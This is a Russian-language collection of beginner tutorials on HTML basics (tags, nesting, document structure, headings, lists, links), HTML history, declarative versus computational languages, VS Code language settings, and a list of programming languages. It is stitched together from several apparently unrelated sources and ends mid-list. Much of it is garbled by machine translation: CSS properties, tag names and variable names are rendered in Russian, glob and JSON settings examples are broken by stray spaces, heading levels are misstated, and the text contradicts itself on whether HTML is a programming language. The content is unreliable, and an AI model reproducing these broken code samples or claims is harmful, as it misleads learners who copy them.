Вы, однако, должны убедиться, что ваши элементы правильно вложены: в примере выше мы открыли первым элемент <p>, затем элемент <strong>, потом мы должны закрыть сначала элемент <strong>, затем <p>. Приведенное ниже неверно:

<p>Моя кошка <strong>очень раздражена.</p></strong>

Элементы должны открываться и закрываться правильно, поэтому они явно располагаются внутри или снаружи друг друга. Если они перекрываются, как в примере выше,  ваш веб-браузер будет пытаться сделать наилучшее предположение на основе того, что вы пытались сказать, что может привести к неожиданным результатам. Так что не стоит этого делать!

Пустые элементы

Некоторые элементы не имеют контента, и называются пустыми элементами. Возьмем  элемент <img>, который уже имеется в нашем HTML:

<img src="images/firefox-icon.png" alt="Моё тестовое изображение">

Он содержит два атрибута, но не имеет закрывающего тега </img>, и никакого внутреннего контента. Это потому, что элемент изображения не оборачивает контент для влияния на него. Его целью является вставка изображения в HTML страницу в нужном месте.

Анатомия HTML документа

Мы завершили изучение основ отдельных HTML элементов, но они не очень полезны сами по себе. Теперь мы посмотрим, как отдельные элементы объединяются в целую HTML страницу. Давайте вернемся к коду, который мы записывали в наш index.html (с которым мы впервые встретились в статье Работа с файлами):

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Моя тестовая страница</title>
  </head>
  <body>
    <img src="images/firefox-icon.png" alt="Моё тестовое изображение">
  </body>
</html>

Здесь мы имеем:

  • <!DOCTYPE html> — доктайп. В прошлом, когда HTML был молод (около 1991/1992), доктайпы должны были выступать в качестве ссылки на набор правил, которым HTML страница должна была следовать, чтобы считаться хорошим HTML, что могло означать автоматическую проверку ошибок и другие полезные вещи. Однако в наши дни, никто не заботится об этом, и они на самом деле просто исторический артефакт, который должен быть включен для того, что бы все работало правильно. На данный момент это все, что вам нужно знать.
  • <html></html> — элемент <html>. Этот элемент оборачивает весь контент на всей странице, и иногда известен как корневой элемент.
  • <head></head> — элемент <head>. Этот элемент выступает в качестве контейнера для всего, что вы пожелаете включить на HTML страницу, но не являющегося контентом, который вы показываете пользователям вашей страницы. К ним относятся такие вещи, как ключевые слова и описание страницы, которые будут появляться в результатах поиска, CSS стили нашего контента, кодировка и многое другое.
  • <body></body> — элемент <body>. В нем содержится весь контент, который вы хотите показывать пользователям, когда они посещают вашу страницу, будь то текст, изображения, видео, игры, проигрываемые аудиодорожки или что-то еще.
  • <meta charset="utf-8"> — этот элемент устанавливает UTF-8 кодировку вашего документа, которая включает в себя большинство символов из всех известных человечеству языков. По сути, теперь документ может обрабатывать любой текстовый контент, который вы в него вложите. Нет причин не устанавливать её, так как это может помочь избежать некоторых проблем в дальнейшем.
  • <title></title> — элемент <title>. Этот элемент устанавливает заголовок для вашей страницы, который является названием, появляющимся на вкладке браузера загружаемой страницы, и используется для описания страницы, когда вы добавляете ее в закладки/избранное.

Давайте снова обратим наше внимание на элемент изображения:

<img src="images/firefox-icon.png" alt="Mоё тестовое изображение">

Как было сказано раньше, код встраивает изображение на нашу страницу в нужном месте. Это делается с помощью атрибута src (source, источник), который содержит путь к нашему файлу изображения.

Мы также включили атрибут alt (alternative, альтернатива). В этом атрибуте, вы указываете поясняющий текст для пользователей, которые не могут увидеть изображение, возможно, по следующим причинам:

  1. У них присутствуют нарушения зрения. Пользователи со значительным нарушением зрения часто используют инструменты, называемые Screen Readers (экранные дикторы), которые читают для них альтернативный текст.
  2. Что-то пошло не так, в результате чего изображение не отобразилось. Например, попробуйте намеренно изменить путь в вашем атрибуте src, сделав его неверным. Если вы сохраните и перезагрузите страницу, то вы должны увидеть что-то подобное вместо изображения:

Альтернативный текст - это "пояснительный текст". Он должен предоставить читателю достаточно информации, чтобы иметь представление о том, что передает изображение. В этом примере наш текст "My test image" ("Моё тестовое изображение") не годится. Намного лучшей альтернативой для нашего логотипа Firefox будет "The Firefox logo: a flaming fox surrounding the Earth" ("Логотип Firefox: огненный Лис вокруг Земли").

Сейчас попробуйте придумать более подходящий альтернативный текст для вашего изображения.

В этом разделе рассмотрим некоторые из основных HTML элементов, которые вы будете использовать для разметки текста.

Заголовки

Элементы заголовка позволяют вам указывать определенные части вашего контента в качестве заголовков или подзаголовков. Точно так же, как книга имеет название, названия глав и подзаголовков, HTML документ может содержать то же самое. HTML включает шесть уровней заголовков <h2><h6>, хотя обычно вы будете использовать не более 3-4 :

<h2>Мой главный заголовок</h2>
<h3>Мой заголовок верхнего уровня</h3>
<h4>Мой подзаголовок</h4>
<h5>Мой под-подзаголовок</h5>

Теперь попробуйте добавить подходящее название для вашей HTML страницы, чуть выше  элемента <img>.

Абзацы

Как было сказано раньше, элемент <p> предназначен для абзацев текста; вы будете использовать их регулярно при разметке текстового контента:

<p>Это одиночный абзац</p>

Добавьте свой образец текста (вы создавали его в статье Каким должен быть ваш веб-сайт?) в один или несколько абзацев, расположенных прямо под элементом <img>.

Списки

Большая часть веб-контента является списками и HTML имеет специальные элементы для них. Разметка списка всегда состоит по меньшей мере из двух элементов. Наиболее распространенными типами списков являются нумерованные и ненумерованные списки:

  1. Ненумерованные списки - это списки, где порядок пунктов не имеет значения, как в списке покупок. Они оборачиваются в элемент <ul>.
  2. Нумерованные списки - это списки, где порядок пунктов имеет значение, как в рецепте. Они оборачиваются в элемент <ol>.

Каждый пункт внутри списков располагается внутри элемента <li> (list item, элемент списка).

Например, если мы хотим включить часть следующего фрагмента абзаца в список:

<p>Mozilla, мы являемся мировым сообществом технологов, мыслителей и строителей, работающих вместе ... </p>

Мы могли бы изменить разметку на эту:

<p>Mozilla, мы являемся мировым сообществом</p>

<ul>
  <li>технологов</li>
  <li>мыслителей</li>
  <li>строителей</li>
</ul>

<p>работающих вместе ... </p>

Попробуйте добавить упорядоченный или неупорядоченный список на свою страницу.

Ссылки очень важны — это то, что делает Интернет Интернетом. Чтобы добавить ссылку, нам нужно использовать простой элемент — <a>a это сокращение от "anchor" ("якорь"). Чтобы текст в вашем абзаце стал ссылкой, выполните следующие действия:

  1. Выберите некоторый текст. Мы выбрали текст "Манифест Mozilla".
  2. Оберните текст в элемент <a>, например так:
    <a>Манифест Mozilla</a>
  3. Задайте элементу <a> атрибут href, например так:
    <a href="">Манифест Mozilla</a>
  4. Заполните значение этого атрибута веб-адресом, на который вы хотите указать ссылку:
    <a href="https://www.mozilla.org/ru/about/manifesto/details/">Манифест Mozilla</a>

Вы можете получить неожиданные результаты, если в самом начале веб-адреса вы опустите https:// или http:// часть, называемую протоколом. После создания ссылки, кликните по ней, чтобы убедиться, что она направляет вас туда, куда вы хотели.

href сначала может выглядеть довольно непонятым выбором для имени атрибута. Если у вас возникли проблемы с тем, чтобы запомнить его, можете запомнить, что атрибут href образуется как hypertext reference ("гипертекстовая ссылка").

Теперь добавьте ссылку на вашу страницу, если вы еще не сделали этого.

Если вы следовали всем инструкциям в этой статье, то вы должны увидеть в конечном итоге страницу, аналогичную рисунку ниже (вы также можете посмотреть ее здесь):

Если вы застряли, вы всегда можете сравнить свою работу с нашим готовым примером кода на GitHub.

Здесь вы узнали только самую поверхность HTML. Чтобы узнать больше, перейдите на страницу Обучение HTML: руководства и уроки.

Что такое HTML язык? Учебник html

Глава 1

Начну, пожалуй, с начала..

HTML язык по своей сути не является языком программирования.. он является языком разметки гипертекстовых документов. Иными словами он отвечает за расположение в документе Ваших текстов, рисунков, таблиц.. предназначенных для жизни в сети Интернет. Заставить его посчитать, сколько будет дважды два невозможно, в нем нет логических функций, зато красиво и главное легко выложить информацию о том, что дважды два будет четыре - это запросто. Читается этот язык при помощи знакомых Вам программ, именуемых браузерами (обозревателями), которые "знают" стандартные команды html языка, и "пережевывая" их выводят на монитор компьютера документы в том виде, в котором хочет представить их веб мастер - составитель документа.

Теперь о командах - их называют дескрипторами, но чаще - тегами.

Вернемся к нашей первой страничке.. итак мы написали:

<html>
<head>
<title>Моя первая страничка</title>
</head>
<body>
Привет мир!!!
<br>
Меня зовут Карлсон, это моя первая страничка!
</body>
</html>

Так вот то что написано между <…> - называют тегами они не видны читателю, заглянувшему на Вашу страницу, зато хорошо видны браузеру, который наткнувшись на тег <html> понимает его как сигнал к тому, что далее будет документ, который необходимо прочитать и вывести на монитор в нужном виде.. а вот тег </html> говорит о том что документ закончился и от него, то бишь браузера, больше ничего не требуется и он может отдыхать с чистой совестью.

Так что же мы написали? и как это читает браузер?

Мысли браузера:

<html> - начало документа.. опять работы привалило..
<head> - смотрим словарик английского переводим "голова" …в голове моей опилки не беда!! ... здесь указывается основная служебная информация о документе.. ну и что они там от меня хотят?
<title> - "название" значит.. это в шапке окна нужно написать его название:
Моя первая страничка - опять чайник тренируется..
</title> - все название закончилось.. можно идти дальше..
</head> - ага и в голове кроме названия больше никаких вздорных мыслей не держим..
<body> - "тело" документа всё что написано ниже выставляем на всеобщее обозрение
Привет мир!!! - как мило! Достали уже!!!
<br> - переносим текст на следующую строчку.. я даже догадываюсь что в ней будет...
Меня зовут (здесь Ваше имя), это моя первая страничка! - ну да так и есть.. ничего пооригинальнее придумать не могут..
</body> - что всё что ли? Больше ничего не отображать?
</html> - ну вот и конец!! Не будить, не кантовать, при пожаре выносить первым!!

Вот так примерно и происходит чтение нашей странички.. Как видите браузер довольно своенравный тип, поэтому команды ему нужно подавать чёткие и ясные, иначе он разругается.. причем в слух.. а по сему запомним следующие вещи:

1) Необходимо раз и навсегда запомнить что если есть открывающий тег <…> то обязательно должен быть и закрывающий </…>

Хотя есть и исключения как например у нас тег <br> - он закрытия не требует потому что говорит лишь о том, что следует писать с новой строки. Кстати попробуйте добавить еще пару тройку таких же перед строчкой "Меня зовут.." и Вы увидите, что в результате она заметно опустилась вниз.. (Ну естественно в блокноте сохраните изменения, а в браузере нажмите кнопку "обновить")

2) Все документы должны иметь вот такой шаблон кода:

<html>- начало документа
<head>- начало головы
</head>- закрытие головы
<body>- начало тела
</body>- закрытие тела
</html>- конец документа

Данные теги являются обязательными! Писать их необходимо всегда для каждой новой странички, и только в таком порядке! Не пытайтесь перевернуть всё с ног на голову..

3) О порядке:

Открывающий и закрывающий тег по типу <…> </…> представляет собой своего рода ёмкость, ящик в который могут складываться другие теги - ящички поменьше.. следовательно, согласно логики документ должен выглядеть так:

<Тег "большой ящик">
<Тег "ящик средний">
<Тег "ящик маленький">
содержание
</Тег "ящик маленький" >
</Тег "ящик средний" >
</Тег "большой ящик">

Если писать, например, так:

<Тег "большой ящик">
<Тег "ящик средний">
<Тег "ящик маленький">
содержание
</Тег "большой ящик">
</Тег "ящик маленький">
</Тег "ящик средний">

То получится белиберда, которая в голове не укладывается, "большой" уже закрыт, а из него "торчит" "маленький", который заперт в "среднем", а "содержание" рассыпалось везде.. Такое даже человеку трудно представить, что уж там про браузер говорить.. Чётко структурируйте код Вашей странички иначе ничего работать не будет..

Ну вот мы научились писать простой текст, начало положено! в следующей главе я расскажу о том, что с ним можно сделать..

  • При написании сайта создайте папку в любом удобном месте на Вашем жёстком диске, называйте как угодно, лишь бы понятно было.. в эту папку сохраняете Ваши странички, присваивая им осмысленные имена.. варианты типа ааа.html, 123.html приведут к беспорядку и путанице… На данном этапе этот совет не покажется дельным, но в дальнейшем это значительно облегчит Ваш труд. Представьте к примеру хотя бы 20-30 таких файлов названия которых нужно держать в голове, чтобы связать их перекрёстными ссылками. Порядок, прежде всего!

  • При написании кода советую придерживаться "хорошей манере письма", то есть писать теги "лесенкой" по мере вложенности одного тега в другой. Со временем Вы поймёте что читать код написанный вот так:

    <html>
    <head>
    <title>Моя первая страничка</title>
    </head>
    <body>
    Привет мир!!!
    <br>
    Меня зовут Карлсон, это моя первая страничка!
    </body>
    </html>

    Значительно легче, чем так:

    <html>
    <head>
    <title>Моя первая страничка</title>
    </head>
    <body>
    Привет мир!!!
    <br>
    Меня зовут Карлсон, это моя первая страничка!
    </body>
    </html>

    И уж тем более чем вот так:

    <html><head><title>Моя первая страничка</title></head><body>Привет мир!!!<br>Меня зовут Карлсон, это моя первая страничка!</body></html>

    Хоть это и дело привычки.. всё же лучше привыкнуть писать "разборчиво".



Введение в HTML и CSS

Для того, чтобы сделать сайт, нужно знать много разных веб языков.

Языки HTML и CSS предназначены для верстки сайтов (верстка - это размещение элементов сайта по нужным местам). Язык PHP нужен для программирования сайта (с его помощью можно, к примеру, сделать регистрацию пользователей). Язык JavaScript нужен для того, чтобы "оживить" сайт: к примеру, сделать меняющиеся картинки (слайдер).

Язык HTML

Язык HTML - это основа web сайтов, с его помощью создается каркас страницы, которую вы видите в браузере. Если сравнивать страницу сайта и обычную бумажную книгу, то на сайте, как и в книге, есть абзацы и заголовки.

В книге есть название всей книги (по сути самый главный заголовок), есть названия глав, параграфов в этих главах и так далее. Заголовки, абзацы и другие блоки можно выделить и на странице сайта. Это делается с помощью HTML тегов.

Что такое HTML теги?

HTML теги - это специальные команды для браузера. Они говорят ему, что, к примеру, следует считать заголовком страницы, а что абзацем.

Теги строятся по такому принципу: уголок <, потом имя тега, а потом уголок >, вот так: <имя тега>. Имя тега может состоять из английских букв и цифр. Примеры тегов: <h2>, <p>, <b>.

Теги обычно пишутся парами - открывающий тег и соответствующий ему закрывающий. Разница между открывающим и закрывающим тегами в том, что в закрывающем теге после уголка < стоит слеш /.

К примеру, <p> - так я открыл тег p, а так - </p> - я его закрыл. Все, что попадает между открывающим и закрывающим тегами, подпадает под воздействие нашего тега.

Бывают теги, которые не нужно закрывать, например, <br> или <img>.

Атрибуты

В тегах также могут размещаться атрибуты - специальные команды, которые расширяют действие тега.

Атрибуты размещаются внутри открывающего тега в таком формате:

<тег атрибут1="значение" атрибут2="значение">

Кавычки могут быть любыми - одинарными или двойными, допустимо их вообще их не ставить, если значение атрибута состоит из одного слова (но это не желательно).

Язык CSS

Язык CSS расширяет возможности языка HTML. Он позволяет менять цвета, шрифты, фон, в общем заниматься красотой сайта. А HTML, соответственно, отвечает за структуру сайта.

Итак, приступим

Итак, вооружившись некоторыми предварительными теоретическими знаниями, приступим к подробному изучению языка HTML на практике.

Язык программирования html

Определение 1

HTML (Hypertext Markup Language) - язык разметки (гипертекст), применяемый для создания электронных документов, содержащих форматирование: заголовки, таблицы, изображения, списки и т.п. Используется преимущественно во Всемирной паутине для оформления веб-страниц.

Важно отметить, что HTML не является полноценным (полным по Тьюрингу) языком программирования. В нем отсутствуют условные переходы, циклы, функции.

Принципы HTML

Основой HTML являются т.н. тэги - синтаксические конструкции, составляемые посредством "угловых скобок", роль которых играют математические символы "больше" и "меньше". Тэги заключают в себе фрагмент текста, который нужно тем или иным образом оформить.

Тэги (хотя и не все) имеют открывающую и закрывающую части. Закрывающая отличается наличием слэша (косой черты) после первой угловой скобки. Внутри открывающего тэга могут быть размещены т.н. атрибуты - пары "ключ/значение", разделенные знаком равенства. Значение атрибута может содержать любые буквенно-цифровые символы, в том числе на национальных языках, а также знаки препинания и пробелы. Имена же атрибутов могут состоять только из латинских букв и цифр (допускается использование дефиса).

Замечание 1

При рендеринге (прорисовке) html-документа множественные пробелы, отступы и переносы строк игнорируются и никак не влияют на внешний вид (за исключением особо оговоренных случаев). Эти средства форматирования исходного html-текста служат лишь для удобства его написания.

Названия тэгов выбраны так, чтобы их было легко запомнить любому пользователю, знающему основы английского языка:

  • p - параграф;
  • br - break, принудительный разрыв строки;
  • b - bold, выделение жирным текстом;
  • img - image, рисунок;
  • ol - ordered list, нумерованный список;
  • table - таблица;
  • div - division, раздел и т.п.

Рисунок 1. Некоторые html-тэги. Автор24 — интернет-биржа студенческих работ

История HTML

Для понимания особенностей HTML важно знать историю этого языка, поскольку многие его возможности появились в результате жесткой конкурентной борьбы между корпорациями.

Автором HTML, равно как и других составляющих Всемирной паутины (протокола http, концепций браузера, веб-сервера) является Тим Бернерс-Ли, физик CERN.

В 1991 г. он изложил идею создания сети World Wide Web (WWW) в рамках Интернета, самостоятельно разработав прототипы необходимого программного обеспечения и правил составления документов на основе известного еще с конца 1960-х гг. языка SGML.

Изначально спецификация HTML описывала лишь пару десятков тэгов, из которых многие к настоящему времени уже вышли из употребления. В наши дни количество используемых тэгов превышает 100.

HTML задумывался как язык с низким порогом вхождения, т.е. освоить его, по замыслу автора, должен был быть в состоянии среднестатистический пользователь персонального компьютера.

Война браузеров

Простота веб-технологий привела в 1990-х гг. к взрывообразному росту Всемирной паутины . Это вылилось, помимо огромного прогресса в распространении информации, в такое негативное явление, как Война браузеров. Независимая компания Netscape Communications, разрабатывавшая первый коммерчески успешный браузер Netscape Navigator, столкнулась с интересами софтверного гиганта Microsoft, доминировавшего на тогдашнем рынке операционных систем со своим продуктом Windows-95. Компания Билла Гейтса попыталась вытеснить конкурента своим продуктом Internet Explorer. В версию HTML для этого браузера Microsoft добавила некоторые тэги, не поддерживавшиеся в стандартной спецификации. Так же повели себя и конкуренты. Это привело к тому, что некоторые сайты некорректно отображались в Internet Explorer, некоторые же, напротив, искажались при открытии в Netscape Navigator.

Поскольку Netscape Navigator распространялся как коммерческий продукт, а Internet Explorer предлагался в составе ОС Windows бесплатно, Microsoft временно победила в этой борьбе, но в начале 2000-х гг. на рынке появились новые игроки. Netscape вернулся в качестве свободно распространяемого продукта Mozilla Firefox. Существенную долю рынка занял независимый браузер Opera. Собственным браузером Safari обзавелась компания Apple. Наконец, поисковый гигант Google также вступил в борьбу за пользователей с браузером Google Chrome.

Рисунок 2. Динамика популярности браузеров. Автор24 — интернет-биржа студенческих работ

Дополнительными факторами нестабильности в Войне браузеров стали:

  • появление официальных стандартов HTML, XHTML, привнесших в веб новые возможности, которые каждый из участников гонки норовил интерпретировать в собственных интересах;
  • появление технологий, нацеленных на придание веб-страницам дополнительной интерактивности (Java Applets, Microsoft ActiveX, Adobe Flash), также привнесших разночтения в стандарты обработки веб-страниц.

Начиная с 2000-х гг. в развитии HTML усиливается роль международного независимого консорциума W3C, взявшего на себя роль арбитра. После многосторонних консультаций было решено разработать стандарт HTML5, в котором, во-первых, были бы учтены новые потребности отрасли, во-вторых - прописаны однозначные интерпретации спорных моментов.

Ведущим производителям браузеров было рекомендовано доработать свои продукты таким образом, чтобы они поддерживали новый стандарт. HTML5 был успешно внедрен в 2014 г., что фактически положило конец Войне браузеров.

Современное состояние HTML

Стандарт HTML5 добавил в спецификацию новые возможности:

  • группу семантических тэгов, позволяющих не столько оформлять текст визуально, сколько разбить его на смысловые разделы: header, footer, article, section;
  • новые атрибуты, позволяющие отображать числа и числовые интервалы, даты, время, календари;
  • тэги для работы с векторной и растровой графикой svg и canvas;
  • тэги для поддержки мультимедийных ресурсов audio и video.

Всё это позволило отказаться от посторонних браузерных плагинов, дополнений и расширений (Java Applets, ActiveX, Flash), обеспечить высокий уровень интерактивности, а также существенно повысить безопасность веб-страниц.

Кроме того, из спецификации были исключены устаревшие тэги, такие, как applet, center, frame и др.

Рисунок 3. Фрагмент кода на html5. Автор24 — интернет-биржа студенческих работ

HTML5 предоставил также расширенные возможности для интеграции веб-страниц со стилевыми таблицами (CSS) и программами, написанными на JavaScript. `

Является ли HTML языком программирования?

Технически HTML - это язык программирования. Фактически, HTML расшифровывается как Hypertext Markup Language . Является ли HTML настоящим языком или нет - вопрос семантики, и это не очень важно.

Однако важно понимать, так это понимать, что HTML - и CSS, если на то пошло - сильно отличаются от большинства других языков, и что трудно получить полную картину того, что такое кодирование, только на этих двух языках.

Чем HTML и CSS отличаются от других языков?

HTML и CSS - это декларативных языков. То есть это базовые утверждения, декларирующие, что должно существовать на веб-странице. Вот пример HTML:

<раздел>
  

Это заголовок в этом разделе.

Это абзац в этом разделе.

По сути, приведенный выше HTML говорит, что эта веб-страница должна содержать раздел, а раздел должен содержать заголовок и абзац.Здесь нет никаких вычислений - это простая констатация факта. Это то, что я называю HTML декларативным языком.

Точно так же вот пример CSS:

  п {
    красный цвет;
    размер шрифта: 12 пикселей;
    выравнивание текста: центр;
  }
 

В приведенном выше CSS говорится, что все абзацы на веб-странице должны иметь текст красного цвета, размером 12 пикселей и должны быть выровнены по центру. Опять же, здесь нет вычислений - это просто серия простых объявлений.

В то время как HTML и CSS являются декларативными, большая часть кодирования - это вычислительных - и это то, для чего предназначены большинство других языков программирования.

Вот некоторый вычислительный код, который вычисляет среднее значение списка чисел:

list = [5, 2, 10, 8, 9, 4, 7]
sum = list.sum
средний = сумма / список.размер
 

Этот код, вместо того, чтобы делать объявления, выполняет серию вычислений для достижения конечного результата. Первая строка инициализирует список чисел. Вторая строка вычисляет сумму всех чисел в списке. В третьей строке вычисляется среднее значение путем деления суммы на количество элементов в списке.

Подавляющее большинство языков программирования подразумевают написание вычислительного кода. Вычислительный код не всегда математический по своей природе, но это код, который создает функциональность. В то время как HTML и CSS - это декларации о том, что должно появиться на веб-странице, вычислительный код заставляет все происходить . Добавление элемента в корзину, стрельба в плохого парня в игре, удаление элемента из электронной таблицы - все это примеры функциональности, выполняемые с помощью вычислительного кода.

Причина, по которой это различие важно, заключается в том, что многие люди начинают свой путь программирования с HTML и CSS. И хотя это хорошее место для начала, важно не бросаться в новую карьеру, основываясь только на вашем опыте работы с этими языками. Пока преждевременно предполагать, что вам нравится кодировать и, скажем, записаться на учебный курс по кодированию, если у вас был только опыт работы с HTML и CSS. Чтобы по-настоящему понять, нравится ли вам кодирование, вам нужно иметь некоторый опыт работы с классическим вычислительным языком, поскольку большинство заданий по программированию в основном связаны с написанием вычислительного кода.

Если вы решаете, какой вычислительный язык попробовать в первую очередь, ознакомьтесь с нашим сообщением в блоге по этой теме здесь.

Поддержка языка

в Visual Studio Code

Поддерживаются сотни языков программирования

В Visual Studio Code у нас есть поддержка почти всех основных языков программирования. Некоторые из них поставляются в комплекте, например, JavaScript, TypeScript, CSS и HTML, но более богатые языковые расширения можно найти в VS Code Marketplace.

Вот восемь самых популярных языковых расширений:

Зайдите на Marketplace или воспользуйтесь нашим интегрированным менеджером расширений и найдите нужный язык программирования, чтобы найти фрагменты, автозавершение кода / поставщиков IntelliSense, линтеры, отладчики и многое другое.

Примечание : Если вы хотите изменить язык отображения VS Code (например, на китайский), см. Тему «Язык интерфейса».

Документация для конкретного языка

На этом веб-сайте у нас есть несколько тем, в которых описываются несколько распространенных языков, поддерживаемых VS Code.К ним относятся: C ++ - C # - CSS - Dockerfile - F # - Go - HTML - Java - JavaScript - JSON - Less - Уценка - PHP - PowerShell - Python - SCSS - T-SQL - TypeScript.

Щелкните любой связанный элемент, чтобы получить обзор того, как использовать VS Code в контексте этого языка. Большинство языковых расширений также содержат сводку своих основных функций в README.

Языковые функции в VS Code

Объем поддержки варьируется в зависимости от языков и их расширений:

  • Подсветка синтаксиса и сопоставление скобок
  • Интеллектуальное заканчивание (IntelliSense)
  • Линковка и исправления
  • Навигация по коду (перейти к определению, найти все ссылки)
  • Отладка
  • Рефакторинг

Изменение языка для выбранного файла

В VS Code мы по умолчанию поддерживаем язык для файла на основе его расширения.Однако иногда вы можете захотеть изменить языковые режимы, для этого нажмите на индикатор языка, который расположен справа от строки состояния. Это вызовет раскрывающийся список Select Language Mode , где вы можете выбрать другой язык для текущего файла.

Совет : Вы можете получить то же самое раскрывающееся меню, выполнив команду Изменить режим языка (⌘K M (Windows, Linux Ctrl + K M)).

Идентификатор языка

VS Code связывает языковой режим с определенным языковым идентификатором, поэтому различные функции VS Code могут быть включены в зависимости от текущего языкового режима.

Идентификатором языка часто (но не всегда) является имя языка программирования в нижнем регистре. Обратите внимание, что регистр имеет значение для точного сопоставления идентификатора ('Markdown'! = 'Markdown'). Файлы с неизвестным языком имеют идентификатор языка в виде открытого текста .

Список установленных языков и их идентификаторов можно увидеть в раскрывающемся списке Изменить языковой режим (⌘K M (Windows, Linux Ctrl + K M)).

Список известных идентификаторов можно найти в справочнике идентификаторов языка.

Добавление расширения файла к языку

Вы можете добавить новые расширения файлов к существующему языку с помощью параметра files.associations .

Например, настройка ниже добавляет расширение файла .myphp к идентификатору языка php :

  "files.associations": {
        "* .myphp": "php"
    }  

IntelliSense (⌃ Пробел (Windows, Linux Ctrl + Пробел)) покажет вам доступные идентификаторы языков.

Следующие шаги

Теперь вы знаете, что VS Code поддерживает нужные вам языки. Читайте дальше ...

Общие вопросы

Могу ли я предоставить свою языковую службу?

Да, можно! Ознакомьтесь с примером языкового сервера в документации VS Code Extension API.

Что делать, если я не хочу создавать полнофункциональную языковую службу, могу ли я повторно использовать существующие пакеты TextMate?

Да, вы также можете добавить поддержку вашего любимого языка с помощью раскраски TextMate.См. Руководство по выделению синтаксиса в разделе Extension API, чтобы узнать, как интегрировать файлы синтаксиса TextMate .tmLanguage в VS Code.

Могу ли я сопоставить дополнительные расширения файлов с языком?

Да, с помощью параметра files.associations вы можете сопоставить расширения файлов с существующим языком либо глобально, либо для каждой рабочей области.

Вот пример, который связывает больше расширений файлов с языком PHP:

  "files.associations": {
    "*.php4 ":" php ",
    "* .php5": "php"
}  

При необходимости вы также можете настроить полные пути к файлам для языков. В следующем примере все файлы в папке somefolder связываются с PHP:

  "files.associations": {
    "** / somefolder /*.*": "php"
}  

Обратите внимание, что шаблон представляет собой шаблон глобуса, который будет соответствовать полному пути к файлу, если он содержит /, и будет соответствовать имени файла в противном случае.

Как мне установить язык по умолчанию для новых файлов?

Использование файлов .defaultLanguage , вы можете сопоставить все новые файлы с языком по умолчанию. Каждый раз, когда открывается новый пустой файл, редактор настраивается для этого языкового режима.

В этом примере новые файлы будут связаны с языком HTML:

  // Режим языка по умолчанию, который назначается новым файлам.
  "files.defaultLanguage": "html"  

11.12.2020

языков программирования

Ни один язык компьютерного программирования ничего не может сделать.Есть ограничения, и на самом деле для разных задач используются разные языки.

В этом руководстве основное внимание уделяется:

  • Веб-языки
  • Языки программного обеспечения
  • Различные поколения языков
  • Процедурно-ориентированное программирование
  • Объектно-ориентированное программирование

Веб-языки

Используется для создания и редактирования страниц в сети. Может делать что угодно, от размещения простого текста на веб-странице до доступа и извлечения данных из базы данных.Сильно различаются по мощности и сложности.

  • HTML
    Язык разметки гипертекста. Основной язык всемирной паутины, который используется для определения структуры и макета веб-страниц с помощью различных тегов и атрибутов. Хотя HTML является основным языком Интернета, он статичен - контент, созданный с его помощью, не изменяется. HTML используется для указания содержания, которое будет содержать веб-страница, а не того, как страница функционирует. Изучите HTML в нашем разделе руководств по HTML.
  • XML
    Расширяемый язык разметки.Язык, разработанный консорциумом W3C, который работает как HTML, но в отличие от HTML, позволяет создавать пользовательские теги, определяемые программистами. XML позволяет передавать данные между приложениями и организациями с помощью настраиваемых тегов.
  • Javascript
    Язык, разработанный Netscape, используемый для предоставления динамического и интерактивного контента на веб-страницах. С помощью Javascript можно общаться с HTML, создавать анимацию, создавать калькуляторы, проверять формы и многое другое. Javascript часто путают с Java, но это два разных языка.Изучите Javascript в нашем разделе руководств по Javascript.
  • VBScript
    Visual Basic Scripting Edition. Язык, разработанный Microsoft, который работает только в веб-браузере Microsoft Internet Explorer и веб-браузерах, основанных на движке Internet Explorer, таком как Slim Browser от FlashPeak. VBScript Может использоваться для печати дат, выполнения расчетов, взаимодействия с пользователем и многого другого. VBScript основан на Visual Basic, но намного проще. Изучите VBScript в нашем разделе руководств по VBScript.
  • PHP
    Препроцессор гипертекста (рекурсивный акроним). Мощный язык, используемый для многих задач, таких как шифрование данных, доступ к базе данных и проверка форм. Первоначально PHP был создан в 1994 году Расмусом Лердорфом. Изучите PHP в нашем разделе руководств по PHP.
  • Ява
    Мощный и гибкий язык, созданный Sun MicroSystems, который можно использовать для создания апплетов (программы, выполняемой из другой программы), которые выполняются внутри веб-страниц, а также программных приложений.С помощью Java вы можете взаимодействовать с пользователем, создавать графические программы, читать из файлов и многое другое. Java часто путают с Javascript, но это два разных языка. Изучите Java в нашем разделе руководств по Java.

Языки программного обеспечения

Используется для создания исполняемых программ. Может создавать что угодно, от простых консольных программ, выводящих текст на экран, до целых операционных систем. Сильно различаются по мощности и сложности.

  • C
    Продвинутый язык программирования, используемый для разработки приложений.Первоначально разработанный Деннисом Ритчи в Bell Labs в 1970-х годах и предназначенный как язык системного программирования, с тех пор зарекомендовал себя для использования в различных программных приложениях, таких как бизнес-программы, инженерные программы и даже игры. Операционная система UNIX написана на C.
  • C ++
    Потомок языка C. Разница между двумя языками заключается в том, что C ++ объектно-ориентирован. C ++ был разработан Бьярном Страуструпом в Bell Labs и является очень популярным языком для графических приложений.
  • Visual Basic
    Язык, разработанный Microsoft на основе языка BASIC. Visual Basic используется для создания приложений Windows. Язык VBScript (также разработанный Microsoft) основан на Visual Basic.
  • Ява
    Мощный и гибкий язык, созданный Sun MicroSystems, который можно использовать для создания апплетов (программы, выполняемой из другой программы), которые выполняются внутри веб-страниц, а также программных приложений. С помощью Java вы можете взаимодействовать с пользователем, создавать графические программы, читать из файлов и многое другое.Java часто путают с Javascript, но это два разных языка. Изучите Java в нашем разделе руководств по Java.

Разные поколения языков

В настоящее время существует пять поколений языков компьютерного программирования. В каждом поколении синтаксис языков становился проще для понимания и читабельнее.

  • Языки первого поколения (сокращенно 1GL)
    Представляют очень ранние, примитивные компьютерные языки, которые полностью состояли из единиц и нулей - реальный язык, который понимает компьютер (машинный язык).
  • Языки второго поколения (2GL)
    Представляют собой шаг вперед по сравнению с языками первого поколения. Разрешить использование символических имен вместо просто чисел. Языки второго поколения известны как языки ассемблера. Код, написанный на языке ассемблера, преобразуется в машинный язык (1GL).
  • Языки третьего поколения (3GL)
    С языками, введенными третьим поколением компьютерного программирования, использовались слова и команды (а не только символы и числа).Поэтому синтаксис этих языков был намного проще для понимания. Языки третьего поколения известны как «языки высокого уровня» и включают, среди прочего, C, C ++, Java и Javascript.
  • Языки четвертого поколения (4GL)
    Синтаксис, используемый в 4GL, очень близок к человеческому языку, что является улучшением по сравнению с предыдущим поколением языков. Языки 4GL обычно используются для доступа к базам данных и включают, среди прочего, SQL и ColdFusion.
  • Языки пятого поколения (5GL)
